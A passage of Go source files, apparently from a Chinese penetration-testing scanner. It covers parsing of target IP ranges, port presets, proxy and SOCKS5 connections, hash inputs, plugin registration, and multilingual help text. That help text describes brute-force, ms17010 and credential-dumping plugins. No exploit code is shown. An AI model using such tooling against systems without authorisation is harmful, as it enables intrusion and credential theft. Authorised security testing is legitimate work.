HttpProxy { case "1": // 快捷方式1: 本地8080端口(常用代理工具默认端口) HttpProxy = "http://127.0.0.1:8080" case "2": // 快捷方式2: 本地1080端口(常见SOCKS端口) HttpProxy = "socks5://127.0.0.1:1080" default: // 仅指定端口时使用本地HTTP代理 if !strings.Contains(HttpProxy, "://") { HttpProxy = "http://127.0.0.1:" + HttpProxy } } // 验证代理协议 if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") { return fmt.Errorf(GetText("unsupported_proxy")) } // 验证代理URL格式 _, err := url.Parse(HttpProxy) if err != nil { return fmt.Errorf(GetText("proxy_format_error", err)) } LogBase(GetText("http_proxy", HttpProxy)) return nil } // processHashValues 处理哈希值 // 验证单个哈希值并处理哈希列表 func processHashValues() error { // 处理单个哈希值 if HashValue != "" { // MD5哈希必须是32位十六进制字符 if len(HashValue) != 32 { return fmt.Errorf(GetText("hash_length_error")) } HashValues = append(HashValues, HashValue) } // 处理哈希值列表 HashValues = RemoveDuplicate(HashValues) for _, hash := range HashValues { // 将十六进制字符串转换为字节数组 hashByte, err := hex.DecodeString(hash) if err != nil { LogError(GetText("hash_decode_failed", hash)) continue } HashBytes = append(HashBytes, hashByte) } // 清空原始哈希值列表,仅保留字节形式 HashValues = []string{} return nil } // RemoveDuplicate 对字符串切片进行去重 func RemoveDuplicate(old []string) []string { temp := make(map[string]struct{}) var result []string for _, item := range old { if _, exists := temp[item]; !exists { temp[item] = struct{}{} result = append(result, item) } } return result } ================================================ FILE: Common/ParseIP.go ================================================ package Common import ( "bufio" "errors" "fmt" "math/rand" "net" "os" "regexp" "sort" "strconv" "strings" ) // IP解析相关错误 var ( ErrParseIP = errors.New(GetText("parse_ip_error")) // IP解析失败的统一错误 ) // ParseIP 解析各种格式的IP地址 // 参数: // - host: 主机地址(可以是单个IP、IP范围、CIDR或常用网段简写) // - filename: 包含主机地址的文件名 // - nohosts: 需要排除的主机地址列表 // // 返回: // - []string: 解析后的IP地址列表 // - error: 解析过程中的错误 func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { // 处理主机和端口组合的情况 (格式: IP:PORT) if filename == "" && strings.Contains(host, ":") { hostport := strings.Split(host, ":") if len(hostport) == 2 { host = hostport[0] hosts = parseIPList(host) Ports = hostport[1] LogBase(GetText("host_port_parsed", Ports)) } } else { // 解析主机地址 hosts = parseIPList(host) // 从文件加载额外主机 if filename != "" { fileHosts, err := readIPFile(filename) if err != nil { LogError(GetText("read_host_file_failed", err)) } else { hosts = append(hosts, fileHosts...) LogBase(GetText("extra_hosts_loaded", len(fileHosts))) } } } // 处理需要排除的主机 hosts = excludeHosts(hosts, nohosts) // 去重并排序 hosts = removeDuplicateIPs(hosts) LogBase(GetText("final_valid_hosts", len(hosts))) // 检查解析结果 if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") { return nil, ErrParseIP } return hosts, nil } // parseIPList 解析逗号分隔的IP地址列表 // 参数: // - ipList: 逗号分隔的IP地址列表字符串 // // 返回: // - []string: 解析后的IP地址列表 func parseIPList(ipList string) []string { var result []string // 处理逗号分隔的IP列表 if strings.Contains(ipList, ",") { ips := strings.Split(ipList, ",") for _, ip := range ips { if parsed := parseSingleIP(ip); len(parsed) > 0 { result = append(result, parsed...) } } } else if ipList != "" { // 解析单个IP地址或范围 result = parseSingleIP(ipList) } return result } // parseSingleIP 解析单个IP地址或IP范围 // 支持多种格式: // - 普通IP: 192.168.1.1 // - 简写网段: 192, 172, 10 // - CIDR: 192.168.0.0/24 // - 范围: 192.168.1.1-192.168.1.100 或 192.168.1.1-100 // - 域名: example.com // 参数: // - ip: IP地址或范围字符串 // // 返回: // - []string: 解析后的IP地址列表 func parseSingleIP(ip string) []string { // 检测是否包含字母(可能是域名) isAlpha := regexp.MustCompile(`[a-zA-Z]+`).MatchString(ip) // 根据不同格式解析IP switch { case ip == "192": // 常用内网段简写 return parseSingleIP("192.168.0.0/16") case ip == "172": // 常用内网段简写 return parseSingleIP("172.16.0.0/12") case ip == "10": // 常用内网段简写 return parseSingleIP("10.0.0.0/8") case strings.HasSuffix(ip, "/8"): // 处理/8网段(使用采样方式) return parseSubnet8(ip) case strings.Contains(ip, "/"): // 处理CIDR格式 return parseCIDR(ip) case isAlpha: // 处理域名,直接返回 return []string{ip} case strings.Contains(ip, "-"): // 处理IP范围 return parseIPRange(ip) default: // 尝试解析为单个IP地址 if testIP := net.ParseIP(ip); testIP != nil { return []string{ip} } LogError(GetText("invalid_ip_format", ip)) return nil } } // parseCIDR 解析CIDR格式的IP地址段 // 例如: 192.168.1.0/24 // 参数: // - cidr: CIDR格式的IP地址段 // // 返回: // - []string: 展开后的IP地址列表 func parseCIDR(cidr string) []string { // 解析CIDR格式 _, ipNet, err := net.ParseCIDR(cidr) if err != nil { LogError(GetText("cidr_parse_failed", cidr, err)) return nil } // 转换为IP范围 ipRange := calculateIPRange(ipNet) hosts := parseIPRange(ipRange) LogBase(GetText("parse_cidr_to_range", cidr, ipRange)) return hosts } // calculateIPRange 计算CIDR的起始IP和结束IP // 例如: 192.168.1.0/24 -> 192.168.1.0-192.168.1.255 // 参数: // - cidr: 解析后的IPNet对象 // // 返回: // - string: 格式为"起始IP-结束IP"的范围字符串 func calculateIPRange(cidr *net.IPNet) string { // 获取网络起始IP start := cidr.IP.String() mask := cidr.Mask // 计算广播地址(最后一个IP) bcst := make(net.IP, len(cidr.IP)) copy(bcst, cidr.IP) // 将网络掩码按位取反,然后与IP地址按位或,得到广播地址 for i := 0; i < len(mask); i++ { ipIdx := len(bcst) - i - 1 bcst[ipIdx] = cidr.IP[ipIdx] | ^mask[len(mask)-i-1] } end := bcst.String() result := fmt.Sprintf("%s-%s", start, end) LogBase(GetText("cidr_range", result)) return result } // parseIPRange 解析IP范围格式的地址 // 支持两种格式: // - 完整格式: 192.168.1.1-192.168.1.100 // - 简写格式: 192.168.1.1-100 // 参数: // - ipRange: IP范围字符串 // // 返回: // - []string: 展开后的IP地址列表 func parseIPRange(ipRange string) []string { parts := strings.Split(ipRange, "-") if len(parts) != 2 { LogError(GetText("ip_range_format_error", ipRange)) return nil } startIP := parts[0] endIP := parts[1] // 验证起始IP if net.ParseIP(startIP) == nil { LogError(GetText("invalid_ip_format", startIP)) return nil } // 处理简写格式 (如: 192.168.1.1-100) if len(endIP) < 4 || !strings.Contains(endIP, ".") { return parseShortIPRange(startIP, endIP) } else { // 处理完整格式 (如: 192.168.1.1-192.168.1.100) return parseFullIPRange(startIP, endIP) } } // parseShortIPRange 解析简写格式的IP范围 // 例如: 192.168.1.1-100 表示从192.168.1.1到192.168.1.100 // 参数: // - startIP: 起始IP // - endSuffix: 结束IP的最后一部分 // // 返回: // - []string: 展开后的IP地址列表 func parseShortIPRange(startIP, endSuffix string) []string { var allIP []string // 将结束段转换为数字 endNum, err := strconv.Atoi(endSuffix) if err != nil || endNum > 255 { LogError(GetText("ip_range_format_error", startIP+"-"+endSuffix)) return nil } // 分解起始IP ipParts := strings.Split(startIP, ".") if len(ipParts) != 4 { LogError(GetText("ip_format_error", startIP)) return nil } // 获取前缀和起始IP的最后一部分 prefixIP := strings.Join(ipParts[0:3], ".") startNum, err := strconv.Atoi(ipParts[3]) if err != nil || startNum > endNum { LogError(GetText("invalid_ip_range", startNum, endNum)) return nil } // 生成IP范围 for i := startNum; i <= endNum; i++ { allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i)) } LogBase(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum)) return allIP } // parseFullIPRange 解析完整格式的IP范围 // 例如: 192.168.1.1-192.168.2.100 // 参数: // - startIP: 起始IP // - endIP: 结束IP // // 返回: // - []string: 展开后的IP地址列表 func parseFullIPRange(startIP, endIP string) []string { var allIP []string // 验证结束IP if net.ParseIP(endIP) == nil { LogError(GetText("invalid_ip_format", endIP)) return nil } // 分解起始IP和结束IP startParts := strings.Split(startIP, ".") endParts := strings.Split(endIP, ".") if len(startParts) != 4 || len(endParts) != 4 { LogError(GetText("ip_format_error", startIP+"-"+endIP)) return nil } // 转换为整数数组 var start, end [4]int for i := 0; i < 4; i++ { var err1, err2 error start[i], err1 = strconv.Atoi(startParts[i]) end[i], err2 = strconv.Atoi(endParts[i]) if err1 != nil || err2 != nil || start[i] > 255 || end[i] > 255 { LogError(GetText("ip_format_error", startIP+"-"+endIP)) return nil } } // 计算IP地址的整数表示 startInt := (start[0] << 24) | (start[1] << 16) | (start[2] << 8) | start[3] endInt := (end[0] << 24) | (end[1] << 16) | (end[2] << 8) | end[3] // 检查范围的有效性 if startInt > endInt { LogError(GetText("invalid_ip_range", startIP, endIP)) return nil } // 限制IP范围的大小,防止生成过多IP导致内存问题 if endInt-startInt > 65535 { LogError(GetText("ip_range_too_large", startIP, endIP)) // 可以考虑在这里实现采样或截断策略 } // 生成IP范围 for ipInt := startInt; ipInt <= endInt; ipInt++ { ip := fmt.Sprintf("%d.%d.%d.%d", (ipInt>>24)&0xFF, (ipInt>>16)&0xFF, (ipInt>>8)&0xFF, ipInt&0xFF) allIP = append(allIP, ip) } LogBase(GetText("generate_ip_range_full", startIP, endIP, len(allIP))) return allIP } // parseSubnet8 解析/8网段的IP地址,生成采样IP列表 // 由于/8网段包含1600多万个IP,因此采用采样方式 // 参数: // - subnet: CIDR格式的/8网段 // // 返回: // - []string: 采样的IP地址列表 func parseSubnet8(subnet string) []string { // 去除CIDR后缀获取基础IP baseIP := subnet[:len(subnet)-2] if net.ParseIP(baseIP) == nil { LogError(GetText("invalid_ip_format", baseIP)) return nil } // 获取/8网段的第一段 firstOctet := strings.Split(baseIP, ".")[0] var sampleIPs []string LogBase(GetText("parse_subnet", firstOctet)) // 预分配足够的容量以提高性能 // 每个二级网段10个IP,共256*256个二级网段 sampleIPs = make([]string, 0, 10) // 对常用网段进行更全面的扫描 commonSecondOctets := []int{0, 1, 2, 10, 100, 200, 254} // 对于每个选定的第二段,采样部分第三段 for _, secondOctet := range commonSecondOctets { for thirdOctet := 0; thirdOctet < 256; thirdOctet += 10 { // 添加常见的网关和服务器IP sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) // 默认网关 sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.254", firstOctet, secondOctet, thirdOctet)) // 通常用于路由器/交换机 // 随机采样不同范围的主机IP fourthOctet := randomInt(2, 253) sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet)) } } // 对其他二级网段进行稀疏采样 samplingStep := 32 // 每32个二级网段采样1个 for secondOctet := 0; secondOctet < 256; secondOctet += samplingStep { for thirdOctet := 0; thirdOctet < 256; thirdOctet += samplingStep { // 对于采样的网段,取几个代表性IP sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, randomInt(2, 253))) } } LogBase(GetText("sample_ip_generated", len(sampleIPs))) return sampleIPs } // readIPFile 从文件中按行读取IP地址 // 支持两种格式: // - 每行一个IP或IP范围 // - IP:PORT 格式指定端口 // 参数: // - filename: 包含IP地址的文件路径 // // 返回: // - []string: 解析后的IP地址列表 // - error: 读取和解析过程中的错误 func readIPFile(filename string) ([]string, error) { // 打开文件 file, err := os.Open(filename) if err != nil { LogError(GetText("open_file_failed", filename, err)) return nil, err } defer file.Close() var ipList []string scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) // 逐行处理 lineCount := 0 for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if line == "" || strings.HasPrefix(line, "#") { continue // 跳过空行和注释行 } lineCount++ // 处理IP:PORT格式 if strings.Contains(line, ":") { parts := strings.Split(line, ":") if len(parts) == 2 { // 提取端口部分,处理可能的注释 portPart := strings.Split(parts[1], " ")[0] portPart = strings.Split(portPart, "#")[0] port, err := strconv.Atoi(portPart) // 验证端口有效性 if err != nil || port < 1 || port > 65535 { LogError(GetText("invalid_port", line)) continue } // 解析IP部分并与端口组合 hosts := parseIPList(parts[0]) for _, host := range hosts { HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, portPart)) } LogBase(GetText("parse_ip_port", line)) } else { LogError(GetText("invalid_ip_port_format", line)) } } else { // 处理纯IP格式 hosts := parseIPList(line) ipList = append(ipList, hosts...) LogBase(GetText("parse_ip_address", line)) } } // 检查扫描过程中的错误 if err := scanner.Err(); err != nil { LogError(GetText("read_file_error", err)) return ipList, err } LogBase(GetText("file_parse_complete", len(ipList))) return ipList, nil } // excludeHosts 从主机列表中排除指定的主机 // 参数: // - hosts: 原始主机列表 // - nohosts: 需要排除的主机列表(可选) // // 返回: // - []string: 排除后的主机列表 func excludeHosts(hosts []string, nohosts []string) []string { // 如果没有需要排除的主机,直接返回原列表 if len(nohosts) == 0 || nohosts[0] == "" { return hosts } // 解析排除列表 excludeList := parseIPList(nohosts[0]) if len(excludeList) == 0 { return hosts } // 使用map存储有效主机,提高查找效率 hostMap := make(map[string]struct{}, len(hosts)) for _, host := range hosts { hostMap[host] = struct{}{} } // 从map中删除需要排除的主机 for _, host := range excludeList { delete(hostMap, host) } // 重建主机列表 result := make([]string, 0, len(hostMap)) for host := range hostMap { result = append(result, host) } // 排序以保持结果的稳定性 sort.Strings(result) LogBase(GetText("hosts_excluded", len(excludeList))) return result } // removeDuplicateIPs 去除重复的IP地址 // 参数: // - ips: 包含可能重复项的IP地址列表 // // 返回: // - []string: 去重后的IP地址列表 func removeDuplicateIPs(ips []string) []string { // 使用map去重 ipMap := make(map[string]struct{}, len(ips)) for _, ip := range ips { ipMap[ip] = struct{}{} } // 创建结果切片并添加唯一的IP result := make([]string, 0, len(ipMap)) for ip := range ipMap { result = append(result, ip) } // 排序以保持结果的稳定性 sort.Strings(result) return result } // randomInt 生成指定范围内的随机整数 // 参数: // - min: 最小值(包含) // - max: 最大值(包含) // // 返回: // - int: 生成的随机数 func randomInt(min, max int) int { if min >= max || min < 0 || max <= 0 { return max } return rand.Intn(max-min+1) + min } ================================================ FILE: Common/ParsePort.go ================================================ package Common import ( "sort" "strconv" "strings" ) // ParsePort 解析端口配置字符串为端口号列表 func ParsePort(ports string) []int { // 预定义的端口组 portGroups := map[string]string{ "service": ServicePorts, "db": DbPorts, "web": WebPorts, "all": AllPorts, "main": MainPorts, } // 检查是否匹配预定义组 if definedPorts, exists := portGroups[ports]; exists { ports = definedPorts } if ports == "" { return nil } var scanPorts []int slices := strings.Split(ports, ",") // 处理每个端口配置 for _, port := range slices { port = strings.TrimSpace(port) if port == "" { continue } // 处理端口范围 upper := port if strings.Contains(port, "-") { ranges := strings.Split(port, "-") if len(ranges) < 2 { LogError(GetText("port_range_format_error", port)) continue } // 确保起始端口小于结束端口 startPort, _ := strconv.Atoi(ranges[0]) endPort, _ := strconv.Atoi(ranges[1]) if startPort < endPort { port = ranges[0] upper = ranges[1] } else { port = ranges[1] upper = ranges[0] } } // 生成端口列表 start, _ := strconv.Atoi(port) end, _ := strconv.Atoi(upper) for i := start; i <= end; i++ { if i > 65535 || i < 1 { LogError(GetText("ignore_invalid_port", i)) continue } scanPorts = append(scanPorts, i) } } // 去重并排序 scanPorts = removeDuplicate(scanPorts) sort.Ints(scanPorts) LogBase(GetText("valid_port_count", len(scanPorts))) return scanPorts } // removeDuplicate 对整数切片进行去重 func removeDuplicate(old []int) []int { temp := make(map[int]struct{}) var result []int for _, item := range old { if _, exists := temp[item]; !exists { temp[item] = struct{}{} result = append(result, item) } } return result } ================================================ FILE: Common/Ports.go ================================================ package Common import ( "strconv" "strings" ) var ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018" var AllPorts = "1-65535" var MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int portStrings := strings.Split(portsStr, ",") for _, portStr := range portStrings { if port, err := strconv.Atoi(portStr); err == nil { ports = append(ports, port) } } return ports } ================================================ FILE: Common/Proxy.go ================================================ package Common import ( "errors" "fmt" "golang.org/x/net/proxy" "net" "net/url" "strings" "time" ) // WrapperTcpWithTimeout 创建一个带超时的TCP连接 func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { d := &net.Dialer{Timeout: timeout} return WrapperTCP(network, address, d) } // WrapperTCP 根据配置创建TCP连接 func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { // 直连模式 if Socks5Proxy == "" { conn, err := forward.Dial(network, address) if err != nil { return nil, fmt.Errorf(GetText("tcp_conn_failed"), err) } return conn, nil } // Socks5代理模式 dialer, err := Socks5Dialer(forward) if err != nil { return nil, fmt.Errorf(GetText("socks5_create_failed"), err) } conn, err := dialer.Dial(network, address) if err != nil { return nil, fmt.Errorf(GetText("socks5_conn_failed"), err) } return conn, nil } // Socks5Dialer 创建Socks5代理拨号器 func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) { // 解析代理URL u, err := url.Parse(Socks5Proxy) if err != nil { return nil, fmt.Errorf(GetText("socks5_parse_failed"), err) } // 验证代理类型 if strings.ToLower(u.Scheme) != "socks5" { return nil, errors.New(GetText("socks5_only")) } address := u.Host var dialer proxy.Dialer // 根据认证信息创建代理 if u.User.String() != "" { // 使用用户名密码认证 auth := proxy.Auth{ User: u.User.Username(), } auth.Password, _ = u.User.Password() dialer, err = proxy.SOCKS5("tcp", address, &auth, forward) } else { // 无认证模式 dialer, err = proxy.SOCKS5("tcp", address, nil, forward) } if err != nil { return nil, fmt.Errorf(GetText("socks5_create_failed"), err) } return dialer, nil } ================================================ FILE: Common/Types.go ================================================ // Config/types.go package Common type HostInfo struct { Host string Ports string Url string Infostr []string } // 在 Common/const.go 中添加 // 插件类型常量 const ( PluginTypeService = "service" // 服务类型插件 PluginTypeWeb = "web" // Web类型插件 PluginTypeLocal = "local" // 本地类型插件 ) // ScanPlugin 定义扫描插件的结构 type ScanPlugin struct { Name string // 插件名称 Ports []int // 适用端口 Types []string // 插件类型标签,一个插件可以有多个类型 ScanFunc func(*HostInfo) error // 扫描函数 } // 添加一个用于检查插件类型的辅助方法 func (p ScanPlugin) HasType(typeName string) bool { for _, t := range p.Types { if t == typeName { return true } } return false } // HasPort 检查插件是否支持指定端口 func (p *ScanPlugin) HasPort(port int) bool { // 如果没有指定端口列表,表示支持所有端口 if len(p.Ports) == 0 { return true } // 检查端口是否在支持列表中 for _, supportedPort := range p.Ports { if port == supportedPort { return true } } return false } // PluginManager 管理插件注册 var PluginManager = make(map[string]ScanPlugin) // RegisterPlugin 注册插件 func RegisterPlugin(name string, plugin ScanPlugin) { PluginManager[name] = plugin } ================================================ FILE: Common/i18n.go ================================================ package Common import ( "fmt" "strings" ) // 支持的语言类型 const ( LangZH = "zh" // 中文 LangEN = "en" // 英文 LangJA = "ja" // 日文 LangRU = "ru" // 俄文 ) // 多语言文本映射 var i18nMap = map[string]map[string]string{ "output_init_start": { LangZH: "开始初始化输出系统", LangEN: "Starting output system initialization", LangJA: "出力システムの初期化を開始", LangRU: "Начало инициализации системы вывода", }, "output_format_invalid": { LangZH: "无效的输出格式: %s", LangEN: "Invalid output format: %s", LangJA: "無効な出力形式: %s", LangRU: "Неверный формат вывода: %s", }, "output_path_empty": { LangZH: "输出路径不能为空", LangEN: "Output path cannot be empty", LangJA: "出力パスは空にできません", LangRU: "Путь вывода не может быть пустым", }, "output_create_dir_failed": { LangZH: "创建输出目录失败: %v", LangEN: "Failed to create output directory: %v", LangJA: "出力ディレクトリの作成に失敗: %v", LangRU: "Не удалось создать каталог вывода: %v", }, "output_init_failed": { LangZH: "初始化输出系统失败: %v", LangEN: "Failed to initialize output system: %v", LangJA: "出力システムの初期化に失敗: %v", LangRU: "Не удалось инициализировать систему вывода: %v", }, "output_init_success": { LangZH: "输出系统初始化成功", LangEN: "Output system initialized successfully", LangJA: "出力システムの初期化に成功", LangRU: "Система вывода успешно инициализирована", }, "output_already_init": { LangZH: "输出系统已经初始化", LangEN: "Output system already initialized", LangJA: "出力システムは既に初期化されています", LangRU: "Система вывода уже инициализирована", }, "output_opening_file": { LangZH: "正在打开输出文件: %s", LangEN: "Opening output file: %s", LangJA: "出力ファイルを開いています: %s", LangRU: "Открытие файла вывода: %s", }, "output_open_file_failed": { LangZH: "打开输出文件失败: %v", LangEN: "Failed to open output file: %v", LangJA: "出力ファイルを開くのに失敗: %v", LangRU: "Не удалось открыть файл вывода: %v", }, "output_init_csv": { LangZH: "初始化CSV输出", LangEN: "Initializing CSV output", LangJA: "CSV出力を初期化中", LangRU: "Инициализация вывода CSV", }, "output_write_csv_header_failed": { LangZH: "写入CSV头失败: %v", LangEN: "Failed to write CSV header: %v", LangJA: "CSVヘッダーの書き込みに失敗: %v", LangRU: "Не удалось записать заголовок CSV: %v", }, "output_init_json": { LangZH: "初始化JSON输出", LangEN: "Initializing JSON output", LangJA: "JSON出力を初期化中", LangRU: "Инициализация вывода JSON", }, "output_init_txt": { LangZH: "初始化文本输出", LangEN: "Initializing text output", LangJA: "テキスト出力を初期化中", LangRU: "Инициализация текстового вывода", }, "output_init_complete": { LangZH: "输出系统初始化完成", LangEN: "Output system initialization complete", LangJA: "出力システムの初期化が完了", LangRU: "Инициализация системы вывода завершена", }, "output_not_init": { LangZH: "输出系统未初始化", LangEN: "Output system not initialized", LangJA: "出力システムが初期化されていません", LangRU: "Система вывода не инициализирована", }, "output_saving_result": { LangZH: "正在保存%s结果: %s", LangEN: "Saving %s result: %s", LangJA: "%s結果を保存中: %s", LangRU: "Сохранение результата %s: %s", }, "output_save_failed": { LangZH: "保存结果失败: %v", LangEN: "Failed to save result: %v", LangJA: "結果の保存に失敗: %v", LangRU: "Не удалось сохранить результат: %v", }, "output_save_success": { LangZH: "成功保存%s结果: %s", LangEN: "Successfully saved %s result: %s", LangJA: "%s結果の保存に成功: %s", LangRU: "Успешно сохранен результат %s: %s", }, "output_txt_format": { LangZH: "[%s] [%s] 目标:%s 状态:%s 详情:%s", LangEN: "[%s] [%s] Target:%s Status:%s Details:%s", LangJA: "[%s] [%s] ターゲット:%s 状態:%s 詳細:%s", LangRU: "[%s] [%s] Цель:%s Статус:%s Подробности:%s", }, "output_no_need_close": { LangZH: "输出系统无需关闭", LangEN: "No need to close output system", LangJA: "出力システムを閉じる必要はありません", LangRU: "Нет необходимости закрывать систему вывода", }, "output_closing": { LangZH: "正在关闭输出系统", LangEN: "Closing output system", LangJA: "出力システムを閉じています", LangRU: "Закрытие системы вывода", }, "output_flush_csv": { LangZH: "正在刷新CSV缓冲", LangEN: "Flushing CSV buffer", LangJA: "CSVバッファをフラッシュ中", LangRU: "Очистка буфера CSV", }, "output_close_failed": { LangZH: "关闭输出文件失败: %v", LangEN: "Failed to close output file: %v", LangJA: "出力ファイルを閉じるのに失敗: %v", LangRU: "Не удалось закрыть файл вывода: %v", }, "output_closed": { LangZH: "输出系统已关闭", LangEN: "Output system closed", LangJA: "出力システムが閉じられました", LangRU: "Система вывода закрыта", }, "flag_host": { LangZH: "指定目标主机,支持以下格式:\n" + " - 单个IP: 192.168.11.11\n" + " - IP范围: 192.168.11.11-255\n" + " - 多个IP: 192.168.11.11,192.168.11.12", LangEN: "Specify target host, supports following formats:\n" + " - Single IP: 192.168.11.11\n" + " - IP Range: 192.168.11.11-255\n" + " - Multiple IPs: 192.168.11.11,192.168.11.12", LangJA: "ターゲットホストを指定、以下の形式をサポート:\n" + " - 単一IP: 192.168.11.11\n" + " - IP範囲: 192.168.11.11-255\n" + " - 複数IP: 192.168.11.11,192.168.11.12", LangRU: "Укажите целевой хост, поддерживаются следующие форматы:\n" + " - Один IP: 192.168.11.11\n" + " - Диапазон IP: 192.168.11.11-255\n" + " - Несколько IP: 192.168.11.11,192.168.11.12", }, "flag_ports": { LangZH: "指定扫描端口,支持以下格式:\n" + "格式:\n" + " - 单个: 22\n" + " - 范围: 1-65535\n" + " - 多个: 22,80,3306\n" + "预设组:\n" + " - main: 常用端口组\n" + " - service: 服务端口组\n" + " - db: 数据库端口组\n" + " - web: Web端口组\n" + " - all: 全部端口\n" + "示例: -p main, -p 80,443, -p 1-1000", LangEN: "Specify scan ports, supports:\n" + "Format:\n" + " - Single: 22\n" + " - Range: 1-65535\n" + " - Multiple: 22,80,3306\n" + "Presets:\n" + " - main: Common ports\n" + " - service: Service ports\n" + " - db: Database ports\n" + " - web: Web ports\n" + " - all: All ports\n" + "Example: -p main, -p 80,443, -p 1-1000", LangJA: "スキャンポートを指定:\n" + "形式:\n" + " - 単一: 22\n" + " - 範囲: 1-65535\n" + " - 複数: 22,80,3306\n" + "プリセット:\n" + " - main: 一般ポート\n" + " - service: サービスポート\n" + " - db: データベースポート\n" + " - web: Webポート\n" + " - all: 全ポート\n" + "例: -p main, -p 80,443, -p 1-1000", LangRU: "Укажите порты сканирования:\n" + "Формат:\n" + " - Один: 22\n" + " - Диапазон: 1-65535\n" + " - Несколько: 22,80,3306\n" + "Предустановки:\n" + " - main: Общие порты\n" + " - service: Порты служб\n" + " - db: Порты баз данных\n" + " - web: Web порты\n" + " - all: Все порты\n" + "Пример: -p main, -p 80,443, -p 1-1000", }, "flag_scan_mode": { LangZH: "指定要使用的扫描插件:\n" + " - All: 使用所有非敏感插件\n" + " - 单个插件: 如 ssh, redis, mysql\n" + " - 多个插件: 使用逗号分隔,如 ssh,ftp,redis\n\n" + "插件分类:\n" + " - 服务类: ssh, ftp, telnet, smb, rdp, vnc...\n" + " - 数据库类: mysql, redis, mongodb, postgres...\n" + " - Web类: webtitle, webpoc...\n" + " - 漏洞类: ms17010...\n" + " - 本地类: localinfo, dcinfo, minidump (需明确指定)", LangEN: "Specify scan plugins to use:\n" + " - All: Use all non-sensitive plugins\n" + " - Single plugin: e.g., ssh, redis, mysql\n" + " - Multiple plugins: comma-separated, e.g., ssh,ftp,redis\n\n" + "Plugin categories:\n" + " - Services: ssh, ftp, telnet, smb, rdp, vnc...\n" + " - Databases: mysql, redis, mongodb, postgres...\n" + " - Web: webtitle, webpoc...\n" + " - Vulnerabilities: ms17010...\n" + " - Local: localinfo, dcinfo, minidump (must be explicitly specified)", LangJA: "使用するスキャンプラグインを指定:\n" + " - All: すべての非機密プラグインを使用\n" + " - 単一プラグイン: 例 ssh, redis, mysql\n" + " - 複数プラグイン: カンマ区切り、例 ssh,ftp,redis\n\n" + "プラグインカテゴリ:\n" + " - サービス: ssh, ftp, telnet, smb, rdp, vnc...\n" + " - データベース: mysql, redis, mongodb, postgres...\n" + " - Web: webtitle, webpoc...\n" + " - 脆弱性: ms17010...\n" + " - ローカル: localinfo, dcinfo, minidump (明示的に指定が必要)", LangRU: "Укажите используемые плагины сканирования:\n" + " - All: Использовать все неконфиденциальные плагины\n" + " - Один плагин: например, ssh, redis, mysql\n" + " - Несколько плагинов: через запятую, например ssh,ftp,redis\n\n" + "Категории плагинов:\n" + " - Сервисы: ssh, ftp, telnet, smb, rdp, vnc...\n" + " - Базы данных: mysql, redis, mongodb, postgres...\n" + " - Веб: webtitle, webpoc...\n" + " - Уязвимости: ms17010...\n" + " - Локальные: localinfo, dcinfo, minidump (требуется явное указание)", }, "flag_exclude_hosts": { LangZH: "排除指定主机范围,支持CIDR格式,如: 192.168.1.1/24", LangEN: "Exclude host ranges, supports CIDR format, e.g.: 192.168.1.1/24", LangJA: "除外ホスト範囲を指定、CIDR形式対応、例: 192.168.1.1/24", LangRU: "Исключить диапазоны хостов, поддерживает формат CIDR, например: 192.168.1.1/24", }, "flag_add_users": { LangZH: "在默认用户列表基础上添加自定义用户名", LangEN: "Add custom usernames to default user list", LangJA: "デフォルトユーザーリストにカスタムユーザー名を追加", LangRU: "Добавить пользовательские имена к списку по умолчанию", }, "flag_add_passwords": { LangZH: "在默认密码列表基础上添加自定义密码", LangEN: "Add custom passwords to default password list", LangJA: "デフォルトパスワードリストにカスタムパスワードを追加", LangRU: "Добавить пользовательские пароли к списку по умолчанию", }, "flag_username": { LangZH: "指定单个用户名", LangEN: "Specify single username", LangJA: "単一ユーザー名を指定", 